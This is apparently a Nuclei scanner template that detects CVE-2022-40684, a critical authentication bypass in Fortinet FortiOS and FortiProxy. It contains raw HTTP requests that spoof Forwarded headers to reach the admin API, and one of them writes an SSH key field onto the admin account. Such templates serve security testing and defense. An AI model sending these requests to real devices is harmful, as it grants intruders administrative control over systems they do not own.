CVE-2022-40684: Fortinet - Authentication Bypass

id: CVE-2022-40684

info:
  name: Fortinet - Authentication Bypass
  author: Shockwave,nagli,carlosvieira
  severity: critical
  description: |
    Fortinet contains an authentication bypass vulnerability via using an alternate path or channel in FortiOS 7.2.0 through 7.2.1 and 7.0.0 through 7.0.6, FortiProxy 7.2.0 and 7.0.0 through 7.0.6, and FortiSwitchManager 7.2.0 and 7.0.0. An attacker can perform operations on the administrative interface via specially crafted HTTP or HTTPS requests, thus making it possible to obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to bypass authentication and gain unauthorized access to the affected device.
  remediation: |
    Apply the necessary security patches or firmware updates provided by Fortinet to mitigate this vulnerability.
  reference:
    - https://github.com/horizon3ai/CVE-2022-40684/blob/master/CVE-2022-40684.py
    - https://securityonline.info/researchers-have-developed-cve-2022-40684-poc-exploit-code/
    - https://socradar.io/what-do-you-need-to-know-about-fortinet-critical-authentication-bypass-vulnerability-cve-2022-40684/
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-40684
    - https://nvd.nist.gov/vuln/detail/CVE-2022-40684
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-40684
    cwe-id: CWE-287
    epss-score: 0.99984
    epss-percentile: 0.99982
    cpe: cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: fortinet
    product: fortiproxy
  tags: cve,cve2022,fortinet,fortigate,fortios,fortiproxy,auth-bypass,kev,intrusive,vkev,vuln

http:
  - raw:
      - |
        GET /api/v2/cmdb/system/admin HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Node.js
        Forwarded: by="[127.0.0.1]:1337";for="[127.0.0.1]:1337";proto=http;host=
        X-Forwarded-Vdom: root
      - |
        PUT /api/v2/cmdb/system/admin/admin HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Report Runner
        Content-Type: application/json
        Forwarded: for=[127.0.0.1]:8000;by=[127.0.0.1]:9000;
        Content-Length: 610

         {
          "ssh-public-key1":"{{randstr}}"
        }

    stop-at-first-match: true

    matchers-condition: or
    matchers:
      - type: word
        part: body_1
        words:
          - ENC XXXX
          - http_method
        condition: and

      - type: word
        part: body_2
        words:
          - Invalid SSH public key.
          - cli_error
        condition: and
# digest: 4a0a0047304502203b0c678af98ea0ebfe2d8533e7e4da2791b3b3661e73bce54fed65ab5dbd7f29022100d2b1defccfc7ba3a867a73ba98497d208ef12630de9e6d3a929d2a2b1e2a4b62:922c64590222798bb761d5b6d8e72950

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